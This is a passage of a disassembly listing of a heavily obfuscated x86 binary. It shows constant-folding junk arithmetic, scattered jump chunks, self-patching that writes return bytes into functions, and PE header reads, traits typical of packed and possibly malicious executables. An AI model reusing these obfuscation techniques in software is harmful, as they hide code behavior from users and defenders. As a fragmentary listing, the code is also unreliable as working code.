		push	8C68CD35h
		pop	ebx
		rol	ebx, 7
		jnb	loc_44443F
sub_43F4BB	endp

; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_43F4CB:				; CODE XREF: sub_4481EF-26FDj
		jmp	loc_43F84F
; END OF FUNCTION CHUNK	FOR sub_4481EF
; ---------------------------------------------------------------------------

loc_43F4D0:				; CODE XREF: y22d6.y.:0043DBB5j
		jmp	loc_43AD2D
; ---------------------------------------------------------------------------
		mov	eax, 77C10D13h
		test	ebp, ebx
		jmp	loc_43FD66
; ---------------------------------------------------------------------------

loc_43F4E1:				; DATA XREF: sub_443EF1+3296o
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E139

loc_43F4E5:				; CODE XREF: sub_43E139+101FEj
		jmp	loc_443CF1
; END OF FUNCTION CHUNK	FOR sub_43E139

; =============== S U B	R O U T	I N E =======================================



sub_43F4EA	proc near		; CODE XREF: sub_44271A-7319p
					; sub_443EF1+328Ep
		mov	dword ptr [eax], 0
		retn
sub_43F4EA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E14E

loc_43F4F1:				; CODE XREF: sub_44E14E+Cj
		jmp	loc_43AD0E
; END OF FUNCTION CHUNK	FOR sub_44E14E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F224

loc_43F4F7:				; CODE XREF: sub_43F224+12j
		jmp	loc_440E2E
; END OF FUNCTION CHUNK	FOR sub_43F224
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43F4FC:				; CODE XREF: sub_4432B8-B229j
		jmp	sub_43BC16
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_43F501	proc near		; CODE XREF: sub_44540D-5241p

; FUNCTION CHUNK AT 00439837 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439F7A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043B7E0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043D6A9 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0043D8AA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DFC7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E24A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00441209 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00443E32 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044419E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004451E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445F03 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447DF8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00448E5F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A98E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D5CA SIZE 0000000D BYTES

		push	ebp
		jmp	loc_441209
sub_43F501	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E139

loc_43F507:				; CODE XREF: sub_43E139:loc_43DCE0j
		mov	eax, 0BEB860A6h
		call	sub_43CA1A
		mov	ds:off_41E114, eax
		lea	eax, loc_443CF1
		jmp	loc_43A0FE
; END OF FUNCTION CHUNK	FOR sub_43E139
; ---------------------------------------------------------------------------
		push	eax
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp]
		push	ebx
		jmp	loc_4373B4
; ---------------------------------------------------------------------------

loc_43F52F:				; DATA XREF: sub_442F96+7o
		xchg	ebp, [esp]
		mov	eax, edx
		call	sub_44A46F
		mov	eax, [esp]
		call	sub_4480DE
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_43F542:				; CODE XREF: sub_44BCC2-10761j
		jmp	loc_447374
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BF91

loc_43F547:				; CODE XREF: sub_44BF91+Bj
		push	79CCC580h
		pop	esi
		add	esi, 0C3E9DBCFh
		cmp	esi, 5F488CB3h
		jmp	loc_438B93
; END OF FUNCTION CHUNK	FOR sub_44BF91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_43F55E:				; CODE XREF: sub_43FFE2:loc_44C24Aj
		add	esi, 3ED87264h
		xchg	esi, [esp+4+var_4]
		jmp	sub_4435D6
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
		push	54D8D073h
		pop	edx
		xor	edx, 724B65h
		add	edx, 0AB9978D2h
		mov	edx, [edx]
		jmp	loc_4417D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_43F585:				; CODE XREF: sub_43BEF7-15F4j
		pop	eax
		and	eax, 8A9DF572h
		xor	eax, 27878B39h
		add	eax, 0A6E19932h
		xor	eax, 50BD4463h
		add	eax, 1486AF0Dh
		call	sub_43CA1A
		jmp	loc_44BE60
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------

loc_43F5AE:				; CODE XREF: y22d6.y.:00439C15j
		jle	loc_43E937

loc_43F5B4:				; CODE XREF: y22d6.y.:loc_43F75Fj
		xor	ebx, 299BE005h
		add	ebx, 0E84EDF14h
		mov	[ebx], edx
		jmp	loc_437A62
; ---------------------------------------------------------------------------

loc_43F5C7:				; DATA XREF: y22d6.y.:00437F2Bo
		push	esi
		push	978CB4EFh
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_44A53A

loc_43F5CE:				; CODE XREF: sub_44A53A:loc_441157j
		add	esi, 0D7A1EC77h
		cmp	esi, 86DC22C5h
		jmp	loc_44550E
; END OF FUNCTION CHUNK	FOR sub_44A53A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_43F5DF:				; CODE XREF: sub_442C0C-AB6j
					; sub_442C0C:loc_444989j
		push	0B641BF40h
		pop	eax
		and	eax, 678254F1h
		xor	eax, ds:4000E5h
		add	eax, 2E374D4Dh
		add	eax, ebp
		add	eax, 0C6A6CE56h
		push	offset loc_44D4A7
		jmp	loc_442EEF
; END OF FUNCTION CHUNK	FOR sub_442C0C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B635

loc_43F60A:				; CODE XREF: sub_44B635:loc_44B3C4j
		jz	loc_43B1BF

loc_43F610:				; CODE XREF: sub_440280:loc_44D2FAj
		jmp	loc_4473C6
; END OF FUNCTION CHUNK	FOR sub_44B635
; ---------------------------------------------------------------------------
byte_43F615	db 64h,	8Fh, 5		; CODE XREF: y22d6.y.:loc_447CDAj
					; y22d6.y.:00448930j
					; DATA XREF: ...
		dd 0
		dd 6804C483h, 0D7D08CA0h, 9BE88158h, 81B62C47h,	3DCF1FC8h
		dd 1DC0C112h, 1D1CF081h, 0B9E99354h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_43F63F:				; CODE XREF: y22d6.y.:0043BD14j
		jns	loc_44B109
		mov	edx, [ebx]
		jmp	loc_44B107
; ---------------------------------------------------------------------------

loc_43F64C:				; DATA XREF: sub_444581+7F2Do
		add	esi, 0FC52344h
		sub	eax, esi
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_439051

loc_43F655:				; CODE XREF: sub_439051+A62Dj
		rol	eax, 11h
		xor	eax, 0E4A17A8Dh
		rol	eax, 1Ch
		xor	eax, 70DEAA58h

loc_43F667:				; CODE XREF: y22d6.y.:loc_4401A5j
		add	eax, 0B3D7A90Ah
		jmp	loc_44E1F7
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------

loc_43F672:				; CODE XREF: y22d6.y.:loc_43B4FEj
		or	eax, 0DC6449BFh

loc_43F678:				; CODE XREF: y22d6.y.:loc_44B3F2j
		add	eax, 802D8FD3h
		add	eax, ebp
		add	eax, 0A15A962Ah
		mov	eax, [eax]
		jmp	loc_43F04F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_43F68D:				; CODE XREF: sub_441F08+A95Aj
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44089E
		jmp	loc_446FD5
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------
		mov	eax, 0A7C2536Ch
		push	edi
		push	0CD535273h
		pop	edi
		rol	edi, 11h
		add	edi, 5B5C5FFDh
		xchg	edi, [esp]
		jmp	loc_44E412
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C02C

loc_43F6BA:				; CODE XREF: sub_44C02C+Dj
		jnz	loc_4443D4
		jmp	loc_43C555
; END OF FUNCTION CHUNK	FOR sub_44C02C
; ---------------------------------------------------------------------------

loc_43F6C5:				; CODE XREF: y22d6.y.:00443E8Fj
		add	edx, 0E32F73Ah
		add	edx, ebp
		add	edx, 7B711A3Fh
		mov	edx, [edx]
		jmp	loc_444C56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43F6DA:				; CODE XREF: sub_449641:loc_43E394j
		jnz	loc_43F32F

loc_43F6E0:				; CODE XREF: sub_43B252+132C5j
		jmp	loc_4397C5
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
		test	eax, ebx
		jmp	loc_4460E9
; ---------------------------------------------------------------------------

loc_43F6EC:				; CODE XREF: y22d6.y.:loc_440B41j
		push	2DD95080h
		pop	eax
		sub	eax, 1AFD9D9Dh
		rol	eax, 4
		jmp	loc_4413BE
; ---------------------------------------------------------------------------
		xchg	ebp, [ecx]
		jmp	loc_43D8DE
; ---------------------------------------------------------------------------
		call	sub_43AD19
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_43F70C:				; CODE XREF: sub_43B09B-489j
		cmp	ecx, edx
		jmp	loc_444FD9
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_43F713:				; CODE XREF: sub_44057E-519j
		ja	loc_4385A2
		xor	ebx, 496334A3h
		sbb	esi, 0B29AD91Eh

loc_43F725:				; CODE XREF: sub_44057E:loc_44D252j
		push	0C4D8920Eh
		pop	eax
		xor	eax, 844FF0AFh

loc_43F731:				; CODE XREF: sub_43A6E1:loc_43DEF1j
		jmp	loc_43A71C
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A58D

loc_43F736:				; CODE XREF: sub_43A58D+D59Ej
		jle	loc_441707
		adc	esi, ebx

loc_43F73E:				; CODE XREF: sub_43A58D+D58Fj
		sub	ebx, 0F1C0BE96h
		add	ebx, 0B920C83Bh
		popf
		jmp	loc_444129
; END OF FUNCTION CHUNK	FOR sub_43A58D

; =============== S U B	R O U T	I N E =======================================



sub_43F750	proc near		; CODE XREF: y22d6.y.:0043CAF3j
					; sub_44B17B:loc_4488C3p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004384D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A4F8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004407DC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004445D9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00445905 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00448245 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044A7DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A9BD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B61E SIZE 0000000B BYTES

		xchg	edi, [esp-4+arg_0]
		pop	edi
		pop	ecx
		call	sub_44CDB1

loc_43F75A:				; CODE XREF: y22d6.y.:0044434Fj
		jmp	loc_448245
sub_43F750	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43F75F:				; CODE XREF: y22d6.y.:0044C1F9j
		jnz	loc_43F5B4
		cmp	eax, ebx
		jmp	loc_439C09
; ---------------------------------------------------------------------------
		adc	eax, 0AF3BDC92h
		jnb	sub_44D54C
		jmp	sub_43EFB1
; ---------------------------------------------------------------------------
		sbb	esi, edi
		jmp	sub_440D11
; ---------------------------------------------------------------------------

loc_43F784:				; DATA XREF: sub_439945+5o
		pushf
		push	81B529CEh
		pop	edx
		rol	edx, 12h
		add	edx, 590A9F8Eh
		push	offset sub_44CB85
		jmp	locret_44D0F2
; ---------------------------------------------------------------------------

loc_43F79E:				; CODE XREF: y22d6.y.:00445E00j
		jns	loc_43E8C0
		add	ebp, edx
		jmp	sub_43FFE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43F7AB:				; CODE XREF: sub_4432B8-CF9j
		jg	loc_43ECC9
		pop	ebx
		jmp	loc_440168
; END OF FUNCTION CHUNK	FOR sub_4432B8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_197. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4470B1

loc_43F7B8:				; CODE XREF: sub_4470B1+1Bj
		jmp	loc_43CBAE
; END OF FUNCTION CHUNK	FOR sub_4470B1
; ---------------------------------------------------------------------------

loc_43F7BD:				; CODE XREF: y22d6.y.:004406E9j
		push	edx
		push	offset loc_4437F9
		jmp	locret_442EEE
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_43F7C9:				; CODE XREF: y22d6.y.:0043F9B1j
					; sub_4481EF+59E4j
		jmp	loc_4381AF
; END OF FUNCTION CHUNK	FOR sub_4481EF
; ---------------------------------------------------------------------------
		dw 4188h
dword_43F7D0	dd 0			; DATA XREF: sub_444581:loc_449DC7r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD3

loc_43F7D4:				; CODE XREF: sub_43CBD3+11A09j
		jmp	loc_446EE0
; END OF FUNCTION CHUNK	FOR sub_43CBD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_43F7D9:				; CODE XREF: sub_43FFE2+E47j
		jmp	loc_44A60A
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
		dw 3908h
dword_43F7E0	dd 498AD455h, 19174666h	; DATA XREF: sub_444581:loc_43FD9Ao
					; sub_444581-3535o
		db 63h,	36h, 0
; ---------------------------------------------------------------------------

loc_43F7EB:				; CODE XREF: y22d6.y.:0044B206j
		jmp	loc_43F380
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_43F7F0:				; CODE XREF: sub_438B66+1065Ej
		jmp	loc_44450C
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_43F7F5:				; CODE XREF: sub_44BBBA-11E88j
		jmp	nullsub_189
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------

loc_43F7FA:				; CODE XREF: y22d6.y.:004372A1j
		jmp	sub_43CA1A

; =============== S U B	R O U T	I N E =======================================



sub_43F7FF	proc near		; CODE XREF: sub_43B252-3999p
					; y22d6.y.:00438E4Dp ...

; FUNCTION CHUNK AT 004386A0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00439185 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004422A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044842D SIZE 0000000A BYTES

		jb	loc_44842D
		jmp	loc_4386A0
sub_43F7FF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_43F80A:				; CODE XREF: sub_43D20E:loc_439B10j
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_44DA43
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		jmp	loc_439806
; END OF FUNCTION CHUNK	FOR sub_43D20E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D3B1

loc_43F825:				; CODE XREF: sub_44D3B1+1Dj
		jmp	loc_43B599
; END OF FUNCTION CHUNK	FOR sub_44D3B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B06F

loc_43F82A:				; CODE XREF: sub_44B06F:loc_447E47j
		mov	ebp, edi
		xchg	ebp, [esp+4+var_4]
		mov	edi, ebp
		xchg	edi, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		jmp	loc_43D082
; END OF FUNCTION CHUNK	FOR sub_44B06F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43F83F:				; CODE XREF: sub_448EB6-6133j
		jbe	loc_437C33
		push	3817A545h
		jmp	loc_439B46
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_43F84F:				; CODE XREF: sub_4481EF:loc_43F4CBj
		and	esi, 25519537h
		jmp	loc_448A8F
; END OF FUNCTION CHUNK	FOR sub_4481EF
; ---------------------------------------------------------------------------

loc_43F85A:				; CODE XREF: y22d6.y.:00448B4Dj
		mov	eax, 0A4C05BA6h
		push	offset loc_44BDF5
		jmp	locret_4387C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_43F869:				; CODE XREF: sub_4480DE:loc_4402BFj
		jz	loc_43B9B7
		jmp	loc_448F50
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------

loc_43F874:				; CODE XREF: y22d6.y.:00449EE9j
		shr	ebp, 15h
		ja	loc_43FF1E
		or	eax, 55C48EACh
; START	OF FUNCTION CHUNK FOR sub_4400D5

loc_43F883:				; CODE XREF: sub_4400D5:loc_449ED7j
		or	ecx, 0CDE00B2Fh

loc_43F889:				; CODE XREF: y22d6.y.:0044A534j
		rol	ecx, 18h
		jmp	loc_43C04F
; END OF FUNCTION CHUNK	FOR sub_4400D5

; =============== S U B	R O U T	I N E =======================================



sub_43F891	proc near		; CODE XREF: y22d6.y.:004379DCj
					; y22d6.y.:0044E62Cp

; FUNCTION CHUNK AT 0044D4B7 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_438E86
		mov	eax, 2D912001h
		jmp	loc_44D4B7
sub_43F891	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CA1A

loc_43F8A4:				; CODE XREF: sub_43CA1A:loc_44BD7Aj
		cdq
		jmp	loc_43EB70
; END OF FUNCTION CHUNK	FOR sub_43CA1A
; ---------------------------------------------------------------------------

loc_43F8AA:				; CODE XREF: y22d6.y.:00443F8Bj
		pop	eax
		add	eax, ds:4000E3h
		rol	eax, 1
		xor	eax, 0FAC154B4h
		call	sub_444581
		push	esi
		push	0A1DC1FACh
		jmp	loc_438D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_43F8C9:				; CODE XREF: sub_43C55B+BFD8j
		jz	loc_446511
		jmp	loc_44A7DE
; END OF FUNCTION CHUNK	FOR sub_43C55B
; ---------------------------------------------------------------------------

loc_43F8D4:				; CODE XREF: y22d6.y.:00444344j
		sub	al, 99h
		push	0A26A71FEh
		pop	edx
		or	edx, 0C720116Eh
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_43F8E2:				; CODE XREF: sub_43C6D7:loc_440035j
		sub	edx, ds:4000E1h
		jmp	loc_43B796
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB3F

loc_43F8ED:				; CODE XREF: sub_44CB3F-FCE3j
		mov	eax, [ebp-20h]
		call	sub_43F8FE
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_444720
; END OF FUNCTION CHUNK	FOR sub_44CB3F

; =============== S U B	R O U T	I N E =======================================



sub_43F8FE	proc near		; CODE XREF: sub_44CB3F-D24Fp

; FUNCTION CHUNK AT 00437593 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00437C84 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044BE7A SIZE 0000002C BYTES

		push	ebp
		jmp	loc_437C84
sub_43F8FE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E63C

loc_43F904:				; CODE XREF: sub_44E63C:loc_43B829j
		jnz	loc_44BFC5
		jmp	loc_44716F
; END OF FUNCTION CHUNK	FOR sub_44E63C
; ---------------------------------------------------------------------------

loc_43F90F:				; CODE XREF: y22d6.y.:loc_43D89Bj
		mov	byte ptr [eax],	0C3h

loc_43F912:				; CODE XREF: y22d6.y.:loc_439A72j
		jmp	loc_43EB86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446222

loc_43F917:				; CODE XREF: sub_446222j
		pop	edx
		mov	eax, [esp-4+arg_0]

loc_43F91B:				; CODE XREF: y22d6.y.:0044C079j
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+0]
		call	sub_4483BF
		mov	eax, 3E69A3C2h
		jmp	loc_4433AD
; END OF FUNCTION CHUNK	FOR sub_446222
; ---------------------------------------------------------------------------
		shr	edi, 0Bh
		jmp	sub_44C7F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C96

loc_43F938:				; CODE XREF: sub_439C96:loc_440315j
		jz	loc_4495B4

loc_43F93E:				; CODE XREF: y22d6.y.:004422FCj
		jmp	nullsub_37
; END OF FUNCTION CHUNK	FOR sub_439C96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D95

loc_43F943:				; CODE XREF: sub_444D95-7E90j
		jmp	loc_443184
; END OF FUNCTION CHUNK	FOR sub_444D95
; ---------------------------------------------------------------------------
		cmp	ebp, edx

loc_43F94A:				; CODE XREF: y22d6.y.:00438CFAj
		jmp	loc_4495A7
; ---------------------------------------------------------------------------
		sbb	edi, eax
		jmp	sub_445F98
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C59C

loc_43F957:				; CODE XREF: sub_44C59C-F8CFj
		jmp	loc_4450AD
; END OF FUNCTION CHUNK	FOR sub_44C59C
; ---------------------------------------------------------------------------

loc_43F95C:				; CODE XREF: y22d6.y.:00438AF8j
		add	eax, 0B71B9529h
		mov	edx, [esp]
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		push	offset sub_44BA21
		jmp	loc_43DF4C
; ---------------------------------------------------------------------------
		jb	loc_43CA7C
		jmp	sub_440494
; ---------------------------------------------------------------------------

loc_43F980:				; CODE XREF: y22d6.y.:00439149j
		jge	loc_44C4CD
		push	0ACFEF149h
		jmp	loc_446FBA
; ---------------------------------------------------------------------------
		ror	ebx, 1Bh
		jmp	loc_4487FC
; ---------------------------------------------------------------------------

loc_43F998:				; DATA XREF: sub_44CAD8:loc_44A6E5o
		mov	ds:dword_41E180, eax
		lea	eax, nullsub_18
		mov	byte ptr [eax],	0C3h
		jmp	loc_439C39
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		jmp	loc_43F7C9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_316. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43F9B7:				; CODE XREF: y22d6.y.:00444295j
		jmp	sub_44A9DF
; ---------------------------------------------------------------------------

loc_43F9BC:				; DATA XREF: sub_4432B8:loc_44150Eo
		push	edi
		mov	edi, esi
		xchg	edi, [esp]
		push	offset sub_44C921
		jmp	locret_44C740
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_44E624
; ---------------------------------------------------------------------------

loc_43F9D2:				; DATA XREF: sub_44B47A+5o
		lea	eax, sub_444427
		mov	byte ptr [eax],	0C3h
		jmp	sub_444427

; =============== S U B	R O U T	I N E =======================================



sub_43F9E0	proc near		; CODE XREF: sub_40300B+67p
					; y22d6.y.:00440A5Bj
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043B2A4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00440CF7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00442085 SIZE 00000011 BYTES

		push	ecx
		mov	ecx, edi
		jmp	loc_43B2A4
sub_43F9E0	endp

; ---------------------------------------------------------------------------
		rol	ebp, 4
		jmp	sub_4372BC
; ---------------------------------------------------------------------------

loc_43F9F0:				; CODE XREF: y22d6.y.:0043F1ABj
		js	loc_4432AC
		mov	[eax], edx

loc_43F9F8:				; CODE XREF: y22d6.y.:loc_43F19Dj
		sub	esi, 0A95EC5E6h
		xor	esi, 4E323488h
		add	esi, 59F4C7D7h
		add	esi, ebp
		add	esi, 9786B8Dh
		jmp	loc_442F10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A58D

loc_43FA17:				; CODE XREF: sub_43A58D:loc_44D67Bj
		pop	ebx
		add	ebx, ds:4000E7h
		sub	ebx, 2BC7006Dh
		js	loc_447B1A
; END OF FUNCTION CHUNK	FOR sub_43A58D
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_43FA2A:				; CODE XREF: sub_43A6E1+10A3Aj
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------

loc_43FA2F:				; CODE XREF: y22d6.y.:0044429Cj
		jmp	loc_43AAD4
; ---------------------------------------------------------------------------
		mov	[ebp+0], ecx
		or	ecx, 0B13E8EB3h
		jmp	loc_44DE45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43FA42:				; CODE XREF: sub_4432B8+258j
		xor	ebx, edi
		test	eax, edx
		jmp	loc_448C59
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_43FA4B:				; CODE XREF: sub_44BBBA-B11Bj
		mov	ebp, ebx
		jns	loc_43A908
		sub	ebx, 54EE7077h
		test	eax, esi
		jmp	loc_43E05A
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44585C

loc_43FA60:				; CODE XREF: sub_44585C+16j
		or	edx, 0DD54F96Bh
		add	edx, 0F4B8A02Eh
		call	sub_43D11C

loc_43FA71:				; CODE XREF: y22d6.y.:0044CC96j
		jmp	loc_440BFC
; END OF FUNCTION CHUNK	FOR sub_44585C
; ---------------------------------------------------------------------------
		jmp	loc_443600
; ---------------------------------------------------------------------------
		call	sub_44A9DF
		or	eax, eax
		jmp	loc_43B2ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_43FA87:				; CODE XREF: sub_444581j
		push	4A3C413Bh
		xchg	eax, [esp+8+var_8]
		mov	edx, eax
		pop	eax
		xor	edx, 0ECC02953h
		add	edx, 59478F68h
		jmp	loc_439133
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------
		push	esi
		push	42BF56C7h
		pop	esi
		add	esi, 0BFB17224h
		sub	esi, 0EAD90DFh
		jmp	loc_4426A5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_244. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43FABC:				; CODE XREF: y22d6.y.:00447207j
		jmp	loc_4406C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44243B

loc_43FAC1:				; CODE XREF: sub_44243B-9AB3j
		jmp	nullsub_238
; END OF FUNCTION CHUNK	FOR sub_44243B

; =============== S U B	R O U T	I N E =======================================



sub_43FAC6	proc near		; DATA XREF: sub_44C48C-BC58o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004375A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004392EE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043977F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00439DFA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043A330 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B5C9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043EB90 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0043FF56 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441EE2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00442F68 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443B73 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443D2A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044445B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004458CA SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044B87F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044CA61 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044CF7B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044DCB2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DD14 SIZE 0000000E BYTES

		pop	edx
		mov	[ecx], eax
		xchg	eax, [esp+0]
		mov	ecx, eax
		pop	eax
